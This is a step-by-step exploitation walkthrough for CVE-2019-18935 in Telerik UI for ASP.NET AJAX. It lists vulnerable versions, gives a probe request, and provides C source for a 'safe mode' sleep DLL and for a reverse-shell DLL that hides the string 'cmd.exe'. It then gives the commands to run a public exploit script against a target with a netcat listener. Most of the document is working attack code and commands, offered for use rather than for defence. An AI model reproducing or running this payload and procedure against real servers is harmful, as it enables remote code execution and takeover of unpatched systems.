[CVE-2019-18935] Telerik UI for ASP.NET AJAX (RadAsyncUpload Handler) .NET JSON Deserialization
Version List
2007.1423 2007.1521 2007.1626 2007.2918 2007.21010 2007.21107 2007.31218
2007.31314 2007.31425 2008.1415 2008.1515 2008.1619 2008.2723 2008.2826
2008.21001 2008.31105 2008.31125 2008.31314 2009.1311 2009.1402 2009.1527
2009.2701 2009.2826 2009.31103 2009.31208 2009.31314 2010.1309 2010.1415
2010.1519 2010.2713 2010.2826 2010.2929 2010.31109 2010.31215 2010.31317
2011.1315 2011.1413 2011.1519 2011.2712 2011.2915 2011.31115 2011.3.1305
2012.1.215 2012.1.411 2012.2.607 2012.2.724 2012.2.912 2012.3.1016 2012.3.1205
2012.3.1308 2013.1.220 2013.1.403 2013.1.417 2013.2.611 2013.2.717 2013.3.1015
2013.3.1114 2013.3.1324 2014.1.225 2014.1.403 2014.2.618 2014.2.724 2014.3.1024
2015.1.204 2015.1.225 2015.2.604 2015.2.623 2015.2.729 2015.2.826 2015.3.930
2015.3.1111 2016.1.113 2016.1.225 2016.2.504 2016.2.607 2016.3.914 2016.3.1018
2016.3.1027 2017.1.118 2017.1.228 2017.2.503 2017.2.621 2017.2.711 2017.3.913
Step 1: Manuel check that RadAsyncUpload function is enable
Request
GET /Telerik.Web.UI.WebResource.axd?type=rau HTTP/1.1
Host: Host
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
If response is similar as below, application is vulnerable to CVE-2019-18935
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/10.0
Set-Cookie: .ASPXANONYMOUS=...; expires=Wed, 28-Oct-2020 03:54:58 GMT; path=/; HttpOnly
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 19 Aug 2020 17:14:58 GMT
Connection: close
Content-Length: 109
{ "message" : "RadAsyncUpload handler is registered succesfully, however, it may not be accessed directly." }
Step 2.1: Verify exploit with Sleep() (Safe Mode)
Build below C code as .dll
output type in windows machine which already installed Visual Studio. To build .dll Project>Project Properties>Application>Choose "Class Library"
.
#include <windows.h>
#include <stdio.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
if (fdwReason == DLL_PROCESS_ATTACH)
Sleep(10000); // Time interval in milliseconds.
return TRUE;
}
Note that original sleep code is here
Step 2.2: Verify exploit with reverse shell (Aggresive Mode)
As above, Build below C code as .dll
output type. Don't forget static variable in to code thats HOST
and PORT
#include <winsock2.h>
#include <stdio.h>
#include <windows.h>
#pragma comment(lib, "ws2_32") //Don't panic. It's compatible with 64-bit architecture
#define HOST "<HOST>"
#define PORT <PORT>
WSADATA wsaData;
SOCKET Winsock;
SOCKET Sock;
struct sockaddr_in hax;
char aip_addr[16];
STARTUPINFO ini_processo;
PROCESS_INFORMATION processo_info;
// Adapted from https://github.com/infoskirmish/Window-Tools/blob/master/Simple%20Reverse%20Shell/shell.c
void ReverseShell()
{
WSAStartup(MAKEWORD(2, 2), &wsaData);
Winsock=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
struct hostent *host = gethostbyname(HOST);
strcpy(aip_addr, inet_ntoa(*((struct in_addr *)host->h_addr)));
hax.sin_family = AF_INET;
hax.sin_port = htons(PORT);
hax.sin_addr.s_addr = inet_addr(aip_addr);
WSAConnect(Winsock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);
if (WSAGetLastError() == 0) {
memset(&ini_processo, 0, sizeof(ini_processo));
ini_processo.cb = sizeof(ini_processo);
ini_processo.dwFlags = STARTF_USESTDHANDLES;
ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;
char *myArray[4] = { "cm", "d.e", "x", "e" };
char command[8] = "";
snprintf(command, sizeof(command), "%s%s%s%s", myArray[0], myArray[1], myArray[2], myArray[3]);
CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &ini_processo, &processo_info);
}
}
DWORD WINAPI MainThread(LPVOID lpParam)
{
ReverseShell();
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
HANDLE hThread;
if (fdwReason == DLL_PROCESS_ATTACH)
hThread = CreateThread(0, 0, MainThread, 0, 0, 0);
return TRUE;
}
Note that original reverse shell code is here
Step 3.1: Exploit with Sleep() (for Step 2.1)
Run step by step
git clone https://github.com/noperator/CVE-2019-18935.git && cd CVE-2019-18935
python3 -m venv env
source env/bin/activate
python3 -m pip install -U pip
python3 -m pip install -r requirements.txt
python3 CVE-2019-18935.py -u https://host/Telerik.Web.UI.WebResource.axd?type=rau -v 2013.1.220 -f 'C:\Windows\Temp' -p /path/to/dll/<YOUR_Sleep()_DLL_NAME_HERE>.dll
If the application pauses for approximately 10 seconds before responding, you've got a working deserialization exploit.
Note that if you're getting error while running CVE-2019-18935.py, make sure that version of Telerik UI is correct. Probably it'll OK when changing your UI version. You can find vulnerable Telerik UI version on top of the page.
Step 3.2: Exploit with reverse shell (for Step 2.2)
Run step by step
nc -lvp <PORT>
git clone https://github.com/noperator/CVE-2019-18935.git && cd CVE-2019-18935
python3 -m venv env
source env/bin/activate
python3 -m pip install -U pip
python3 -m pip install -r requirements.txt
python3 CVE-2019-18935.py -u https://host/Telerik.Web.UI.WebResource.axd?type=rau -v 2013.1.220 -f 'C:\Windows\Temp' -p /path/to/dll/<YOUR_reverse_shell_DLL_NAME_HERE>.dll
Original blogpost is available here
Also click here for deep dive into exploitation codes and learning anatomy of vulnerability as well